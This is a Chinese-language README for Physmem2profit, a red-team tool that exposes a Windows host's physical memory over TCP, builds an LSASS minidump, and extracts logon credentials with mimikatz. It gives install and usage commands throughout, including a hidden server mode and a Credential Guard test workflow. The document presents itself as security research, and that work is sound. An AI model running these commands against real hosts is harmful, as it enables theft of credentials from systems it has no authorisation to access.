Physmem2profit

Physmem2profit 可用于通过远程分析物理内存来创建目标主机 LSASS 进程的 minidump。本研究的目的是提出一种凭证窃取的替代方法，并创建一个模块化框架，以便扩展支持其他可以访问物理内存的驱动程序。Physmem2profit 会生成 LSASS 的 minidump（.dmp），可进一步使用 Mimikatz 进行分析。该工具不要求使用 Cobalt Strike，但应能通过带有 SOCKS 代理的 beacon 正常工作。

思路如下图所示：

该工具包含两个组件：

1. C# 服务端组件 physmem2profit.exe，在目标主机上执行
   • 加载 Winpmem 驱动程序并充当服务器，通过 TCP 端口暴露目标主机的物理 RAM
2. 客户端 physmem2profit Python 模块，在攻击机器上执行
   • 使用 --mode mount 执行时，连接到目标机器，并借助 FUSE 将目标的物理 RAM 作为原始文件挂载
   • 使用 --mode dump 执行时，调用各种 Rekall 插件分析内存镜像并生成 LSASS 进程的 minidump。
   • 使用 --mode all 执行时，执行上述两种操作。转储完成后将关闭与服务器的连接。

Installation Instructions

1. 克隆 Physmem2profit Git 仓库：git clone --recurse-submodules https://github.com/FSecureLABS/physmem2profit.git
2. 对于在目标计算机上运行的服务器：
   1. 使用 Visual Studio 构建 physmem2profit/server/Physmem2profit.sln
3. 对于在攻击机器上运行的客户端：
   1. bash physmem2profit/client/install.sh

Usage

1. 以管理员身份在目标上运行 physmem2profit.exe [--ip IP] [-p PORT] [--hidden] [--verbose]。
   • 你可以从此处下载已签名的 Winpmem 驱动程序。该驱动程序需要存在于目标主机上。
2. 在攻击机器上运行 source physmem2profit/client/.env/bin/activate。此命令将激活由 install.sh 创建的虚拟环境。
3. 在攻击机器上运行 cd physmem2profit/client 和 python3 physmem2profit --host HOST [--port PORT] [--mode MODE] [--driver DRIVER ] [--instal DRIVER_PATH_ON_TARGET] [--label LABEL_FOR_MEMORY_DUMP]
   • 在运行此命令之前，需要在目标机器上运行 physmem2profit.exe。
   • 这会将 LSASS minidump 写入攻击机器上的 output/[label]-[date]-lsass.dmp。
4. 将 minidump 复制到 Windows 系统并运行 mimikatz.exe "sekurlsa::minidump [label]-[date]-lsass.dmp" "sekurlsa::logonpasswords" "exit"

Credential Guard

解密受 Credential Guard 保护的凭据需要访问存储在安全世界（Secure World）中的加密密钥。出于测试目的，Physmem2profit 支持从 VMware Fusion/Workstation 快照（.vmem 文件）中检索安全世界的数据。这样，受 Credential Guard 保护的凭据就可以借助 Mimikatz 进行解密。

Setting up a virtual machine for testing

1. 使用 VMware Fusion/Workstation 创建 Windows 10 虚拟机。将虚拟机加入域（Credential Guard 不保护本地账户）
2. 在高级设置中，启用 VBS（基于虚拟化的安全性）
3. 部署 Credential Guard。一种简单的选择是使用 Device Guard and Credential Guard hardware readiness tool
4. 重新启动
5. 运行 msinfo32 以确保 Virtualization-based security Services Running 显示为 Credential Guard

Testing

1. 登录虚拟机（使用域账户）
2. 创建快照
3. 针对 .vmem 文件运行 Physmem2profit：python3 physmem2profit --mode dump --vmem /tmp/Win10-Snapshot1.vmem --label credential-guard-test
   • 这会将 LSASS minidump 写入 output/[label]-[date]-lsass.dmp。该 minidump 包含一个特殊流，其中保存了来自安全世界的数据，使 Mimikatz 能够定位加密密钥。
   • 安全世界的数据也会存储到 output/[label]-[date]-secure-world.raw。
   • 如果 Rekall 在解析 .vmem 文件时出现问题，Physmem2profit 会建议你复制 .vmsn 文件并将其重命名为 .vmss
4. 将 minidump 复制到 Windows 系统并运行 mimikatz.exe "sekurlsa::minidump [label]-[date]-lsass.dmp" "sekurlsa::logonpasswords" "exit"

Future work

通过利用 S3 恢复固件漏洞绕过 Credential Guard 的支持，已在我们 Disobey 演讲 中演示，即将推出 :)。

More Information

重新思考凭证窃取 | 一篇解释为何选择这种凭证窃取方法的博客文章。

Physmem2profit 由 @b3arr0 和 @TimoHirvonen 开发。

感谢以下人员的贡献：

• Janusz Szmigielski 为首次发布重构了代码
• Pawel Kurowski 为首次发布重构了代码
• Grzegorz Rychlik 为首次发布重构了代码